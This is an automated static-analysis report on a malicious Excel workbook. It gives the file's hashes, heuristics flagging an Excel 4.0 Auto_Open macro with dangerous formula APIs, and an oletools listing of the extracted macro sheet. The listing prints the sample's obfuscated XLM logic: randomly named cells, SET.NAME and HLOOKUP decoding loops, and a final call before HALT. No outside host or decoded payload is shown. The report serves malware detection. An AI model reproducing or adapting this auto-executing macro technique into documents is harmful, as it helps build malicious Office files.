Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ebb2878dfbbb10e3…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:32 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 899780bac0f7b4dc3d86b2275793ad98 SHA-1: 04b814a1205594b8f39918ac2ef62310e6a12fd6 SHA-256: ebb2878dfbbb10e3c31366e0512023aed65d6419651d498b64adc7e0090dadae
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6977 bytes
SHA-256: 1b30febab4d458272ffaf43e0be1e854d63477ef1b13bf2e4521e5f50e2613b9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eImgmBQKtXW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C194 
' 0018     27 LABEL : Cell Value, String Constant - AVQGhQzRYdRD len=0 
' 0018     25 LABEL : Cell Value, String Constant - BxaxXZhMAs len=0 
' 0018     26 LABEL : Cell Value, String Constant - CqRVuwiwpeV len=0 
' 0018     26 LABEL : Cell Value, String Constant - eFRptbgfVjW len=0 
' 0018     21 LABEL : Cell Value, String Constant - EwgkDw len=0 
' 0018     23 LABEL : Cell Value, String Constant - HhyIHAUG len=0 
' 0018     27 LABEL : Cell Value, String Constant - iWudvJDuLliC len=0 
' 0018     23 LABEL : Cell Value, String Constant - JMtQxvTM len=0 
' 0018     26 LABEL : Cell Value, String Constant - lLptLPZqIvu len=0 
' 0018     23 LABEL : Cell Value, String Constant - MrIGqMNy len=0 
' 0018     23 LABEL : Cell Value, String Constant - NewaTarW len=0 
' 0018     26 LABEL : Cell Value, String Constant - PhdIRGQsemu len=0 
' 0018     24 LABEL : Cell Value, String Constant - qrekAjLKh len=0 
' 0018     24 LABEL : Cell Value, String Constant - rdshVYkQy len=0 
' 0018     23 LABEL : Cell Value, String Constant - tXOvgMWI len=0 
' 0018     24 LABEL : Cell Value, String Constant - uIpNQaLfB len=0 
' 0018     22 LABEL : Cell Value, String Constant - xGFVFZA len=0 
' 0018     20 LABEL : Cell Value, String Constant - xQIoz len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZdRJhDpNz len=0 
' 0018     27 LABEL : Cell Value, String Constant - zhNwUgGXacel len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eImgmBQKtXW,S44,"",378.00000000000000000000
'  eImgmBQKtXW,S45,"",-719.00000000000000000000
'  eImgmBQKtXW,S46,"",-780.00000000000000000000
'  eImgmBQKtXW,S47,"",-893.00000000000000000000
'  eImgmBQKtXW,S48,"",896.00000000000000000000
'  eImgmBQKtXW,S49,"",940.00000000000000000000
'  eImgmBQKtXW,C98,"SET.NAME("ZdRJhDpNz",0+VALUE("0"))",""
'  eImgmBQKtXW,C103,"SET.NAME("MrIGqMNy",ZdRJhDpNz)",""
'  eImgmBQKtXW,C105,"SET.NAME("tXOvgMWI",ZdRJhDpNz)",""
'  eImgmBQKtXW,C109,"SET.NAME("xGFVFZA",COUNTA(rdshVYkQy))",""
'  eImgmBQKtXW,C114,"SET.NAME("iWudvJDuLliC",COUNTA(AVQGhQzRYdRD))",""
'  eImgmBQKtXW,C119,[],""
'  eImgmBQKtXW,C121,"SET.NAME("BxaxXZhMAs","")",""
'  eImgmBQKtXW,C124,"MrIGqMNy",""
'  eImgmBQKtXW,C128,"SET.NAME("eFRptbgfVjW",HLOOKUP("*",rdshVYkQy,MrIGqMNy,FALSE))",""
'  eImgmBQKtXW,C130,"JMtQxvTM",""
'  eImgmBQKtXW,C132,"SET.NAME("NewaTarW",ZdRJhDpNz)",""
'  eImgmBQKtXW,C136,[],""
'  eImgmBQKtXW,C141,"NewaTarW",""
'  eImgmBQKtXW,C146,"uIpNQaLfB",""
'  eImgmBQKtXW,C150,"lLptLPZqIvu",""
'  eImgmBQKtXW,C154,"zhNwUgGXacel",""
'  eImgmBQKtXW,C159,"SET.NAME("xQIoz",VALUE(HLOOKUP("*",AVQGhQzRYdRD,zhNwUgGXacel,FALSE)))",""
'  eImgmBQKtXW,C164,"PhdIRGQsemu",""
'  eImgmBQKtXW,C166,"BxaxXZhMAs",""
'  eImgmBQKtXW,C171,"tXOvgMWI",""
'  eImgmBQKtXW,C174,NEXT(),""
'  eImgmBQKtXW,C179,"HhyIHAUG",""
'  eImgmBQKtXW,C182,[],""
'  eImgmBQKtXW,C187,"CqRVuwiwpeV",""
'  eImgmBQKtXW,C190,NEXT(),""
'  eImgmBQKtXW,C192,RETURN(),""
'  eImgmBQKtXW,C221,"SET.NAME("EwgkDw",C98)",""
'  eImgmBQKtXW,C224,"rdshVYkQy",""
'  eImgmBQKtXW,C228,"SET.NAME("AVQGhQzRYdRD",R89C15)",""
'  eImgmBQKtXW,C230,"SET.NAME("CqRVuwiwpeV",239)",""
'  eImgmBQKtXW,C235,"SET.NAME("qrekAjLKh",3)",""
'  eImgmBQKtXW,C238,EwgkDw(),""
'  eImgmBQKtXW,C239,HALT(),""

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